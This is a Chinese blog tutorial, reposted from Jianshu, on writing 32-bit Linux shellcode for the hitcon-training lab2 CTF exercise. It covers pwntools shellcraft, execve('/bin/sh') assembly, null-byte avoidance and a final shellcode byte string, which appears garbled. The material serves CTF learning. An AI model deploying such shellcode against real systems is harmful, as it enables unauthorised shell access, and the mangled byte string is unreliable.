zoukankan      html  css  js  c++  java
  • 编写shellcode的几种姿势

    今天开始在做hitcon-training的题目,做到lab2就发现了自己的知识盲区,遇到无法执行shell的情况,需要自己打shellcode执行cat flag 操作

    经过一系列的搜索,发现了几种编写shellcode的方法:

    首先,就可以用pwntools来编写:

    1.asm 进行汇编,使用参数来指定cpu类型以及操作系统

    32位linux:

    asm("mov eax, SYS_select", arch = 'i386', os = 'linux')

    'xb8]x00x00x00'

    64位linux:

    asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')

    'xb8x17x00x00x00'

    2shellcode生成器

    32位:shellcraft.i386.linux.sh()

    64位:shellcraft.amd64.linux.sh()

    第二种方法就是用汇编来写:

    假设我们现在要写一个shellcode,用来执行 execve("/bin/sh",0)

    执行系统调用首先要知道调用函数对应的系统调用号,32位linux内核的系统调用表可以通过http://syscalls.kernelgrok.com/网站来查询,我们这里获得shell只需用到execve函数,从表中可以看到execve的调用号是0x0b,需要把这个0x0b传给eax,接着执行 int 0x80软中断,也就是系统中断,根据中断号和相关寄存器设置调用对应系统函数

     
     

    第一步,就是需要将系统调用号加入到eax中。

    第二步,ebx用于保存函数调用的第一个参数(ecx存放第二个参数,edx存放第三个参数,esi存放第四个参数,edi存放第五个参数)

    如果参数个数超过5个,那么就必须将参数数组存储在内存中,而且必须将该数组的地址存储在ebx中。

    一旦加载寄存器之后,就会调用int 0x80 汇编指令来发出软中断,强迫内核暂停手头上的工作并处理该中断。

    在这里,第1个参数ebx,刚好是“/bin/sh”;第2个参数ecx是一个指针数组,第一个元素是第一个参数地址,第二个元素为空;第3个参数是edx为空。最后execve的系统调用号就放在了寄存器eax中=0xb。

    接着我们就开始编写shellcode了:

    global _start

    _start:

    mov eax,0   #eax置0

    mov edx,0   #edx置0

    push edx #也就是  execve()中的第三个参数,由于是入栈,所以最先入的是最后一个参数

    push "/sh"  

    push "/bin" #将/bin/sh存入栈中

    mov ebx,esp  #ebx指向/bin/sh字符串,保存了/bin/sh的地址

    xor eax,eax   #xor异或运算使eax清0,xor eax,eax 指令为2字节而mov eax,0 指令为5个字节一般用效率高的xor

    mov al,0Bh ;eax的低位置为execve函数中断号

    int 80h

     
     

    保存为shellcode.asm,通过编译链接,然后运行,获得shell

     
     

    使用 objdump -d 获得机器码

     
     

    我们发现机器码中有许多/x00字节,shellcode中存在/x00字节在进行利用的时候会被截断Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现x00这样的阶段字符,这就需要我们在构造shellcode时防止此类坏字符的出现。所以我们要避免出现/x00字节,重新修改我们的汇编程序

    global _start

    _start:

    xor ecx,ecx  使用这种方法清零就不会出现x00

    xor edx,edx

    push edx

    push "/sh"

    push "/bin"

    mov ebx,esp

    xor eax,eax

    mov al,0Bh

    int 80h

    编译链接运行,得到机器码

     
     

    需要注意的是,编译后,0x68732f实际上就是字符串“hs/”,而0x6e69622f是“nib/”

    这是因为32位的程序采用的小端序存储,所以参数字符都是倒过来的

    没有出现/x00字节,得到最终的 shellcode = "x31xc9x31xd2x52x68x2fx2fx73x68x00x68x2fx62x6ex89xe3x31xc0xb0x0bxcdx80"

    通过这种方法,我们就把shellcode写出来了,若是想调用其他的函数或者执行其他的语句,也可以用这种方式,具体这里有一道题目可以拿来练练手,hitcon-training-lab2

    小礼物走一走,来简书关注我



    作者:23R3F
    链接:https://www.jianshu.com/p/eb75426b85cb
    来源:简书
    简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
  • 相关阅读:
    Day 18
    Day 17
    Day 16
    Day 15
    Day 14
    Day 13
    Day 12
    Day 11
    Day 10
    《ES6标准入门》(阮一峰)--2.let 和 const 命令
  • 原文地址:https://www.cnblogs.com/marklove/p/10740665.html
Copyright © 2011-2022 走看看